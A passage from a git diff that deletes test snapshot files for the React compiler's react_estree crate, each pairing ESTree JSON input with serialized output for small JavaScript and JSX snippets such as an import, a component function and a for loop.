-                        "column": 4
-                      },
-                      "end": {
-                        "line": 4,
-                        "column": 10
-                      }
-                    },
-                    "range": [
-                      78,
-                      84
-                    ]
-                  },
-                  "directive": null,
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 4,
-                      "column": 4
-                    },
-                    "end": {
-                      "line": 4,
-                      "column": 11
-                    }
-                  },
-                  "range": [
-                    78,
-                    85
-                  ]
-                }
-              ],
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 31
-                },
-                "end": {
-                  "line": 5,
-                  "column": 3
-                }
-              },
-              "range": [
-                72,
-                89
-              ]
-            },
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 3,
-                "column": 2
-              },
-              "end": {
-                "line": 5,
-                "column": 3
-              }
-            },
-            "range": [
-              43,
-              89
-            ]
-          },
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "Identifier",
-              "name": "x",
-              "typeAnnotation": null,
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 6,
-                  "column": 9
-                },
-                "end": {
-                  "line": 6,
-                  "column": 10
-                }
-              },
-              "range": [
-                99,
-                100
-              ]
-            },
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 6,
-                "column": 2
-              },
-              "end": {
-                "line": 6,
-                "column": 11
-              }
-            },
-            "range": [
-              92,
-              101
-            ]
-          }
-        ],
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 26
-          },
-          "end": {
-            "line": 7,
-            "column": 1
-          }
-        },
-        "range": [
-          26,
-          103
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": null,
-      "loc": {
-        "source": null,
-        "start": {
-          "line": 1,
-          "column": 0
-        },
-        "end": {
-          "line": 7,
-          "column": 1
-        }
-      },
-      "range": [
-        0,
-        103
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": {
-    "source": null,
-    "start": {
-      "line": 1,
-      "column": 0
-    },
-    "end": {
-      "line": 7,
-      "column": 1
-    }
-  },
-  "range": [
-    0,
-    103
-  ]
-}
diff --git a/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@import.json.snap b/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@import.json.snap
deleted file mode 100644
index df265cf5472a..000000000000
--- a/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@import.json.snap
+++ /dev/null
@@ -1,213 +0,0 @@
----
-source: crates/react_estree/src/lib.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{serialized}\")"
-input_file: crates/react_estree/src/fixtures/import.json
----
-Input:
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 1,
-        "column": 26
-      }
-    },
-    "body": [
-      {
-        "type": "ImportDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 1,
-            "column": 26
-          }
-        },
-        "specifiers": [
-          {
-            "type": "ImportDefaultSpecifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 7
-              },
-              "end": {
-                "line": 1,
-                "column": 12
-              }
-            },
-            "local": {
-              "type": "Identifier",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 1,
-                  "column": 7
-                },
-                "end": {
-                  "line": 1,
-                  "column": 12
-                }
-              },
-              "name": "React",
-              "typeAnnotation": null,
-              "optional": false,
-              "range": [
-                7,
-                12
-              ]
-            },
-            "range": [
-              7,
-              12
-            ]
-          }
-        ],
-        "source": {
-          "type": "Literal",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 18
-            },
-            "end": {
-              "line": 1,
-              "column": 25
-            }
-          },
-          "value": "react",
-          "range": [
-            18,
-            25
-          ],
-          "raw": "'react'"
-        },
-        "attributes": [],
-        "importKind": "value",
-        "range": [
-          0,
-          26
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      0,
-      26
-    ],
-    "sourceType": "module"
-  }
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "ImportDeclaration",
-      "specifiers": [
-        {
-          "type": "ImportDefaultSpecifier",
-          "local": {
-            "type": "Identifier",
-            "name": "React",
-            "typeAnnotation": null,
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 7
-              },
-              "end": {
-                "line": 1,
-                "column": 12
-              }
-            },
-            "range": [
-              7,
-              12
-            ]
-          },
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 7
-            },
-            "end": {
-              "line": 1,
-              "column": 12
-            }
-          },
-          "range": [
-            7,
-            12
-          ]
-        }
-      ],
-      "source": {
-        "type": "Literal",
-        "value": "react",
-        "raw": "'react'",
-        "regex": null,
-        "bigint": null,
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 18
-          },
-          "end": {
-            "line": 1,
-            "column": 25
-          }
-        },
-        "range": [
-          18,
-          25
-        ]
-      },
-      "loc": {
-        "source": null,
-        "start": {
-          "line": 1,
-          "column": 0
-        },
-        "end": {
-          "line": 1,
-          "column": 26
-        }
-      },
-      "range": [
-        0,
-        26
-      ]
-    }
-  ],
-  "sourceType": "module",
-  "loc": {
-    "source": null,
-    "start": {
-      "line": 1,
-      "column": 0
-    },
-    "end": {
-      "line": 1,
-      "column": 26
-    }
-  },
-  "range": [
-    0,
-    26
-  ]
-}
diff --git a/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@simple.json.snap b/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@simple.json.snap
deleted file mode 100644
index 5acf6080f139..000000000000
--- a/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@simple.json.snap
+++ /dev/null
@@ -1,379 +0,0 @@
----
-source: crates/react_estree/src/lib.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{serialized}\")"
-input_file: crates/react_estree/src/fixtures/simple.json
----
-Input:
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 3,
-        "column": 1
-      }
-    },
-    "range": [
-      0,
-      51
-    ],
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 3,
-            "column": 1
-          }
-        },
-        "range": [
-          0,
-          51
-        ],
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 9
-            },
-            "end": {
-              "line": 1,
-              "column": 18
-            }
-          },
-          "range": [
-            9,
-            18
-          ],
-          "name": "Component",
-          "typeAnnotation": null,
-          "optional": false
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 19
-              },
-              "end": {
-                "line": 1,
-                "column": 24
-              }
-            },
-            "range": [
-              19,
-              24
-            ],
-            "name": "props",
-            "typeAnnotation": null,
-            "optional": false
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 26
-            },
-            "end": {
-              "line": 3,
-              "column": 1
-            }
-          },
-          "range": [
-            26,
-            51
-          ],
-          "body": [
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 2,
-                  "column": 2
-                },
-                "end": {
-                  "line": 2,
-                  "column": 21
-                }
-              },
-              "range": [
-                30,
-                49
-              ],
-              "argument": {
-                "type": "MemberExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 20
-                  }
-                },
-                "range": [
-                  37,
-                  48
-                ],
-                "object": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 9
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 14
-                    }
-                  },
-                  "range": [
-                    37,
-                    42
-                  ],
-                  "name": "props",
-                  "typeAnnotation": null,
-                  "optional": false
-                },
-                "property": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 15
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 20
-                    }
-                  },
-                  "range": [
-                    43,
-                    48
-                  ],
-                  "name": "value",
-                  "typeAnnotation": null,
-                  "optional": false
-                },
-                "computed": false
-              }
-            }
-          ]
-        },
-        "async": false,
-        "generator": false,
-        "predicate": null,
-        "expression": false,
-        "returnType": null,
-        "typeParameters": null
-      }
-    ],
-    "comments": [],
-    "errors": []
-  }
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "Component",
-        "typeAnnotation": null,
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 9
-          },
-          "end": {
-            "line": 1,
-            "column": 18
-          }
-        },
-        "range": [
-          9,
-          18
-        ]
-      },
-      "params": [
-        {
-          "type": "Identifier",
-          "name": "props",
-          "typeAnnotation": null,
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 19
-            },
-            "end": {
-              "line": 1,
-              "column": 24
-            }
-          },
-          "range": [
-            19,
-            24
-          ]
-        }
-      ],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "MemberExpression",
-              "object": {
-                "type": "Identifier",
-                "name": "props",
-                "typeAnnotation": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 14
-                  }
-                },
-                "range": [
-                  37,
-                  42
-                ]
-              },
-              "property": {
-                "type": "Identifier",
-                "name": "value",
-                "typeAnnotation": null,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 2,
-                    "column": 15
-                  },
-                  "end": {
-                    "line": 2,
-                    "column": 20
-                  }
-                },
-                "range": [
-                  43,
-                  48
-                ]
-              },
-              "computed": false,
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 2,
-                  "column": 9
-                },
-                "end": {
-                  "line": 2,
-                  "column": 20
-                }
-              },
-              "range": [
-                37,
-                48
-              ]
-            },
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 2,
-                "column": 2
-              },
-              "end": {
-                "line": 2,
-                "column": 21
-              }
-            },
-            "range": [
-              30,
-              49
-            ]
-          }
-        ],
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 26
-          },
-          "end": {
-            "line": 3,
-            "column": 1
-          }
-        },
-        "range": [
-          26,
-          51
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": null,
-      "loc": {
-        "source": null,
-        "start": {
-          "line": 1,
-          "column": 0
-        },
-        "end": {
-          "line": 3,
-          "column": 1
-        }
-      },
-      "range": [
-        0,
-        51
-      ]
-    }
-  ],
-  "sourceType": "module",
-  "loc": {
-    "source": null,
-    "start": {
-      "line": 1,
-      "column": 0
-    },
-    "end": {
-      "line": 3,
-      "column": 1
-    }
-  },
-  "range": [
-    0,
-    51
-  ]
-}
diff --git a/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@test.json.snap b/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@test.json.snap
deleted file mode 100644
index cb260b180b19..000000000000
--- a/compiler/crates/react_estree/src/snapshots/forget_estree__tests__fixtures@test.json.snap
+++ /dev/null
@@ -1,708 +0,0 @@
----
-source: crates/react_estree/src/lib.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{serialized}\")"
-input_file: crates/react_estree/src/fixtures/test.json
----
-Input:
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 2,
-        "column": 0
-      },
-      "end": {
-        "line": 4,
-        "column": 1
-      }
-    },
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 2,
-            "column": 0
-          },
-          "end": {
-            "line": 4,
-            "column": 1
-          }
-        },
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 2,
-              "column": 9
-            },
-            "end": {
-              "line": 2,
-              "column": 12
-            }
-          },
-          "name": "foo",
-          "typeAnnotation": null,
-          "optional": false,
-          "range": [
-            10,
-            13
-          ]
-        },
-        "params": [],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 2,
-              "column": 15
-            },
-            "end": {
-              "line": 4,
-              "column": 1
-            }
-          },
-          "body": [
-            {
-              "type": "ReturnStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 2
-                },
-                "end": {
-                  "line": 3,
-                  "column": 36
-                }
-              },
-              "argument": {
-                "type": "JSXElement",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 36
-                  }
-                },
-                "openingElement": {
-                  "type": "JSXOpeningElement",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 9
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 26
-                    }
-                  },
-                  "name": {
-                    "type": "JSXMemberExpression",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 10
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 17
-                      }
-                    },
-                    "object": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 10
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 13
-                        }
-                      },
-                      "name": "Foo",
-                      "range": [
-                        28,
-                        31
-                      ]
-                    },
-                    "property": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 14
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 17
-                        }
-                      },
-                      "name": "Bar",
-                      "range": [
-                        32,
-                        35
-                      ]
-                    },
-                    "range": [
-                      28,
-                      35
-                    ]
-                  },
-                  "attributes": [
-                    {
-                      "type": "JSXAttribute",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 18
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 24
-                        }
-                      },
-                      "name": {
-                        "type": "JSXIdentifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 3,
-                            "column": 18
-                          },
-                          "end": {
-                            "line": 3,
-                            "column": 19
-                          }
-                        },
-                        "name": "a",
-                        "range": [
-                          36,
-                          37
-                        ]
-                      },
-                      "value": {
-                        "type": "JSXExpressionContainer",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 3,
-                            "column": 20
-                          },
-                          "end": {
-                            "line": 3,
-                            "column": 24
-                          }
-                        },
-                        "expression": {
-                          "type": "Literal",
-                          "loc": {
-                            "source": null,
-                            "start": {
-                              "line": 3,
-                              "column": 21
-                            },
-                            "end": {
-                              "line": 3,
-                              "column": 23
-                            }
-                          },
-                          "value": 10,
-                          "range": [
-                            39,
-                            41
-                          ],
-                          "raw": "10"
-                        },
-                        "range": [
-                          38,
-                          42
-                        ]
-                      },
-                      "range": [
-                        36,
-                        42
-                      ]
-                    }
-                  ],
-                  "selfClosing": false,
-                  "range": [
-                    27,
-                    44
-                  ]
-                },
-                "children": [],
-                "closingElement": {
-                  "type": "JSXClosingElement",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 26
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 36
-                    }
-                  },
-                  "name": {
-                    "type": "JSXMemberExpression",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 28
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 35
-                      }
-                    },
-                    "object": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 28
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 31
-                        }
-                      },
-                      "name": "Foo",
-                      "range": [
-                        46,
-                        49
-                      ]
-                    },
-                    "property": {
-                      "type": "JSXIdentifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 32
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 35
-                        }
-                      },
-                      "name": "Bar",
-                      "range": [
-                        50,
-                        53
-                      ]
-                    },
-                    "range": [
-                      46,
-                      53
-                    ]
-                  },
-                  "range": [
-                    44,
-                    54
-                  ]
-                },
-                "range": [
-                  27,
-                  54
-                ]
-              },
-              "range": [
-                20,
-                54
-              ]
-            }
-          ],
-          "range": [
-            16,
-            56
-          ]
-        },
-        "typeParameters": null,
-        "returnType": null,
-        "predicate": null,
-        "generator": false,
-        "async": false,
-        "range": [
-          1,
-          56
-        ]
-      }
-    ],
-    "comments": [],
-    "interpreter": null,
-    "range": [
-      1,
-      56
-    ],
-    "sourceType": "script"
-  }
-
-Output:
-{
-  "type": "Program",
-  "body": [
-    {
-      "type": "FunctionDeclaration",
-      "id": {
-        "type": "Identifier",
-        "name": "foo",
-        "typeAnnotation": null,
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 2,
-            "column": 9
-          },
-          "end": {
-            "line": 2,
-            "column": 12
-          }
-        },
-        "range": [
-          10,
-          13
-        ]
-      },
-      "params": [],
-      "body": {
-        "type": "BlockStatement",
-        "body": [
-          {
-            "type": "ReturnStatement",
-            "argument": {
-              "type": "JSXElement",
-              "openingElement": {
-                "type": "JSXOpeningElement",
-                "name": {
-                  "type": "JSXMemberExpression",
-                  "object": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 10
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 13
-                      }
-                    },
-                    "range": [
-                      28,
-                      31
-                    ]
-                  },
-                  "property": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 14
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 17
-                      }
-                    },
-                    "range": [
-                      32,
-                      35
-                    ]
-                  },
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 10
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 17
-                    }
-                  },
-                  "range": [
-                    28,
-                    35
-                  ]
-                },
-                "attributes": [
-                  {
-                    "type": "JSXAttribute",
-                    "name": {
-                      "type": "JSXIdentifier",
-                      "name": "a",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 18
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 19
-                        }
-                      },
-                      "range": [
-                        36,
-                        37
-                      ]
-                    },
-                    "value": {
-                      "type": "JSXExpressionContainer",
-                      "expression": {
-                        "type": "Literal",
-                        "value": 10.0,
-                        "raw": "10",
-                        "regex": null,
-                        "bigint": null,
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 3,
-                            "column": 21
-                          },
-                          "end": {
-                            "line": 3,
-                            "column": 23
-                          }
-                        },
-                        "range": [
-                          39,
-                          41
-                        ]
-                      },
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 20
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 24
-                        }
-                      },
-                      "range": [
-                        38,
-                        42
-                      ]
-                    },
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 18
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 24
-                      }
-                    },
-                    "range": [
-                      36,
-                      42
-                    ]
-                  }
-                ],
-                "selfClosing": false,
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 9
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 26
-                  }
-                },
-                "range": [
-                  27,
-                  44
-                ]
-              },
-              "children": [],
-              "closingElement": {
-                "type": "JSXClosingElement",
-                "name": {
-                  "type": "JSXMemberExpression",
-                  "object": {
-                    "type": "JSXIdentifier",
-                    "name": "Foo",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 28
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 31
-                      }
-                    },
-                    "range": [
-                      46,
-                      49
-                    ]
-                  },
-                  "property": {
-                    "type": "JSXIdentifier",
-                    "name": "Bar",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 32
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 35
-                      }
-                    },
-                    "range": [
-                      50,
-                      53
-                    ]
-                  },
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 28
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 35
-                    }
-                  },
-                  "range": [
-                    46,
-                    53
-                  ]
-                },
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 26
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 36
-                  }
-                },
-                "range": [
-                  44,
-                  54
-                ]
-              },
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 9
-                },
-                "end": {
-                  "line": 3,
-                  "column": 36
-                }
-              },
-              "range": [
-                27,
-                54
-              ]
-            },
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 3,
-                "column": 2
-              },
-              "end": {
-                "line": 3,
-                "column": 36
-              }
-            },
-            "range": [
-              20,
-              54
-            ]
-          }
-        ],
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 2,
-            "column": 15
-          },
-          "end": {
-            "line": 4,
-            "column": 1
-          }
-        },
-        "range": [
-          16,
-          56
-        ]
-      },
-      "generator": false,
-      "async": false,
-      "loc": null,
-      "range": null,
-      "loc": {
-        "source": null,
-        "start": {
-          "line": 2,
-          "column": 0
-        },
-        "end": {
-          "line": 4,
-          "column": 1
-        }
-      },
-      "range": [
-        1,
-        56
-      ]
-    }
-  ],
-  "sourceType": "script",
-  "loc": {
-    "source": null,
-    "start": {
-      "line": 2,
-      "column": 0
-    },
-    "end": {
-      "line": 4,
-      "column": 1
-    }
-  },
-  "range": [
-    1,
-    56
-  ]
-}
diff --git a/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@for-statement.json.snap b/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@for-statement.json.snap
deleted file mode 100644
index 862492034eb6..000000000000
--- a/compiler/crates/react_estree/src/snapshots/react_estree__tests__fixtures@for-statement.json.snap
+++ /dev/null
@@ -1,1058 +0,0 @@
----
-source: crates/react_estree/src/lib.rs
-expression: "format!(\"Input:\\n{input}\\n\\nOutput:\\n{serialized}\")"
-input_file: crates/react_estree/src/fixtures/for-statement.json
----
-Input:
-{
-    "type": "Program",
-    "loc": {
-      "source": null,
-      "start": {
-        "line": 1,
-        "column": 0
-      },
-      "end": {
-        "line": 7,
-        "column": 1
-      }
-    },
-    "body": [
-      {
-        "type": "FunctionDeclaration",
-        "loc": {
-          "source": null,
-          "start": {
-            "line": 1,
-            "column": 0
-          },
-          "end": {
-            "line": 7,
-            "column": 1
-          }
-        },
-        "id": {
-          "type": "Identifier",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 9
-            },
-            "end": {
-              "line": 1,
-              "column": 18
-            }
-          },
-          "name": "Component",
-          "typeAnnotation": null,
-          "optional": false,
-          "range": [
-            9,
-            18
-          ]
-        },
-        "params": [
-          {
-            "type": "Identifier",
-            "loc": {
-              "source": null,
-              "start": {
-                "line": 1,
-                "column": 19
-              },
-              "end": {
-                "line": 1,
-                "column": 24
-              }
-            },
-            "name": "props",
-            "typeAnnotation": null,
-            "optional": false,
-            "range": [
-              19,
-              24
-            ]
-          }
-        ],
-        "body": {
-          "type": "BlockStatement",
-          "loc": {
-            "source": null,
-            "start": {
-              "line": 1,
-              "column": 26
-            },
-            "end": {
-              "line": 7,
-              "column": 1
-            }
-          },
-          "body": [
-            {
-              "type": "VariableDeclaration",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 2,
-                  "column": 2
-                },
-                "end": {
-                  "line": 2,
-                  "column": 12
-                }
-              },
-              "kind": "let",
-              "declarations": [
-                {
-                  "type": "VariableDeclarator",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 2,
-                      "column": 6
-                    },
-                    "end": {
-                      "line": 2,
-                      "column": 11
-                    }
-                  },
-                  "init": {
-                    "type": "Literal",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 2,
-                        "column": 10
-                      },
-                      "end": {
-                        "line": 2,
-                        "column": 11
-                      }
-                    },
-                    "value": 0,
-                    "range": [
-                      38,
-                      39
-                    ],
-                    "raw": "0"
-                  },
-                  "id": {
-                    "type": "Identifier",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 2,
-                        "column": 6
-                      },
-                      "end": {
-                        "line": 2,
-                        "column": 7
-                      }
-                    },
-                    "name": "x",
-                    "typeAnnotation": null,
-                    "optional": false,
-                    "range": [
-                      34,
-                      35
-                    ]
-                  },
-                  "range": [
-                    34,
-                    39
-                  ]
-                }
-              ],
-              "range": [
-                30,
-                40
-              ]
-            },
-            {
-              "type": "ForStatement",
-              "loc": {
-                "source": null,
-                "start": {
-                  "line": 3,
-                  "column": 2
-                },
-                "end": {
-                  "line": 5,
-                  "column": 3
-                }
-              },
-              "init": {
-                "type": "VariableDeclaration",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 7
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 16
-                  }
-                },
-                "kind": "let",
-                "declarations": [
-                  {
-                    "type": "VariableDeclarator",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 3,
-                        "column": 11
-                      },
-                      "end": {
-                        "line": 3,
-                        "column": 16
-                      }
-                    },
-                    "init": {
-                      "type": "Literal",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 15
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 16
-                        }
-                      },
-                      "value": 0,
-                      "range": [
-                        56,
-                        57
-                      ],
-                      "raw": "0"
-                    },
-                    "id": {
-                      "type": "Identifier",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 3,
-                          "column": 11
-                        },
-                        "end": {
-                          "line": 3,
-                          "column": 12
-                        }
-                      },
-                      "name": "i",
-                      "typeAnnotation": null,
-                      "optional": false,
-                      "range": [
-                        52,
-                        53
-                      ]
-                    },
-                    "range": [
-                      52,
-                      57
-                    ]
-                  }
-                ],
-                "range": [
-                  48,
-                  57
-                ]
-              },
-              "test": {
-                "type": "BinaryExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 18
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 24
-                  }
-                },
-                "left": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 18
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 19
-                    }
-                  },
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "optional": false,
-                  "range": [
-                    59,
-                    60
-                  ]
-                },
-                "right": {
-                  "type": "Literal",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 22
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 24
-                    }
-                  },
-                  "value": 10,
-                  "range": [
-                    63,
-                    65
-                  ],
-                  "raw": "10"
-                },
-                "operator": "<",
-                "range": [
-                  59,
-                  65
-                ]
-              },
-              "update": {
-                "type": "UpdateExpression",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 26
-                  },
-                  "end": {
-                    "line": 3,
-                    "column": 29
-                  }
-                },
-                "operator": "++",
-                "argument": {
-                  "type": "Identifier",
-                  "loc": {
-                    "source": null,
-                    "start": {
-                      "line": 3,
-                      "column": 26
-                    },
-                    "end": {
-                      "line": 3,
-                      "column": 27
-                    }
-                  },
-                  "name": "i",
-                  "typeAnnotation": null,
-                  "optional": false,
-                  "range": [
-                    67,
-                    68
-                  ]
-                },
-                "prefix": false,
-                "range": [
-                  67,
-                  70
-                ]
-              },
-              "body": {
-                "type": "BlockStatement",
-                "loc": {
-                  "source": null,
-                  "start": {
-                    "line": 3,
-                    "column": 31
-                  },
-                  "end": {
-                    "line": 5,
-                    "column": 3
-                  }
-                },
-                "body": [
-                  {
-                    "type": "ExpressionStatement",
-                    "loc": {
-                      "source": null,
-                      "start": {
-                        "line": 4,
-                        "column": 4
-                      },
-                      "end": {
-                        "line": 4,
-                        "column": 11
-                      }
-                    },
-                    "expression": {
-                      "type": "AssignmentExpression",
-                      "loc": {
-                        "source": null,
-                        "start": {
-                          "line": 4,
-                          "column": 4
-                        },
-                        "end": {
-                          "line": 4,
-                          "column": 10
-                        }
-                      },
-                      "operator": "+=",
-                      "left": {
-                        "type": "Identifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 4,
-                            "column": 4
-                          },
-                          "end": {
-                            "line": 4,
-                            "column": 5
-                          }
-                        },
-                        "name": "x",
-                        "typeAnnotation": null,
-                        "optional": false,
-                        "range": [
-                          78,
-                          79
-                        ]
-                      },
-                      "right": {
-                        "type": "Identifier",
-                        "loc": {
-                          "source": null,
-                          "start": {
-                            "line": 4,
-                            "column": 9
-                          },
-                          "end": {
-                            "line": 4,
-                            "column": 10
-                          }
-                        },
